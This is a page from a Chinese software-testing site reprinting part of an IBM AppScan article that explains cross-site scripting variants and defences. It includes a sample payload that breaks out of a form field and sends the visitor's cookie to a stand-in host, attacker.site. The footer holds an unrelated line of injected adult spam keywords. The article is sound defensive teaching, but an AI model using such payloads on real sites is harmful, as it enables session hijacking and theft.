• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    IBM Rational AppScan:跨站點腳本攻擊深入解析

    發布: 2008-8-28 15:07 | 作者: Ory Segal | 來源: 測試時代采編 | 查看: 514次 | 進入軟件測試論壇討論

    領測軟件測試網

    跨站點腳本攻擊的多種情形

    除了 <SCRIPT>,使用其他 HTML 標簽來運行 JavaScript 也是可能的。事實上,同樣可能的是,惡意的 JavaScript 代碼存儲在另一個服務器上,并強迫客戶端下載該腳本并執行它,如果要運行許多代碼,或者代碼中包含特殊字符時,這是很有用。

    關于這些可能性的一些情形:

    • 除了 <script>...</script>,黑客可以使用 <img src="javascript:...">。這對于過濾 <script> HTML 標簽的站點來說很好用。
    • 除了 <script>...</script>,還可以使用 <script src="http://...">。這對于 JavaScript 代碼過長,或者其中包含了禁止字符時的情況是很好用的。

    有時候,響應頁面中內嵌的數據處于非自由的 HTML 環境中。在這種情況下,首先必要的是“逃”到自由的環境中,然后附加 XSS 攻擊。舉例來說,如果以 HTML 表單字段的默認值注入數據:

    ... 
    <input type=text name=user value="...">
    ...

    那么在數據的開頭必需包含 "> ,從而逃到自由的 HTML 環境中。數據可能是:

    "><script>window.open("http://www.attacker.site/collect.cgi?cookie=
    "+document.cookie)</script>

    結果得到的 HTML 是:

    ... 
    <input type=text name=user value=""><script>window.open
    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
    ...

    執行傳統的 XSS 攻擊的其他方式

    到此為止,我們已經看到 XSS 攻擊可以出現在用腳本回送響應的 GET 請求的參數中。但是也可以用 POST 請求實現攻擊,或者利用 HTTP 請求的路徑組件 —— 甚至使用一些 HTTP 頭(例如 Referer)。

    特別是,當錯誤頁面返回錯誤的路徑時,路徑組件就有用了。在這種情況下,包含在該路徑中的惡意腳本經常都會執行。已發現許多 Web 服務器都容易受到這種攻擊。

    什么出了問題?

    很重要的是要知道,雖然 Web 站點不直接受到這種攻擊的影響(站點繼續正常工作,惡意代碼不在站點上執行,不會出現 DoS 情況,并且數據不直接受控,或從站點上讀。,但是它仍舊是站點向其訪問者或客戶端提供的隱私保護機制中的缺陷。這就像站點使用薄弱的安全標志(security token)部署應用程序,借此,黑客可以猜出客戶的安全標志并冒充客戶。

    應用程序中的脆弱點是不管參數值是什么都回送參數的腳本。好的腳本確保參數的格式是適當的,包含合理的字符,等等。有效的參數通常沒有合理的理由包含 HTML 標簽或 JavaScript 代碼,可靠起見,應該在這些內容嵌入響應之前,或者在應用程序中處理這些內容之前,將它們從參數中去掉。

    如何保護站點不受 XSS 攻擊

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    43/4<1234>

    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>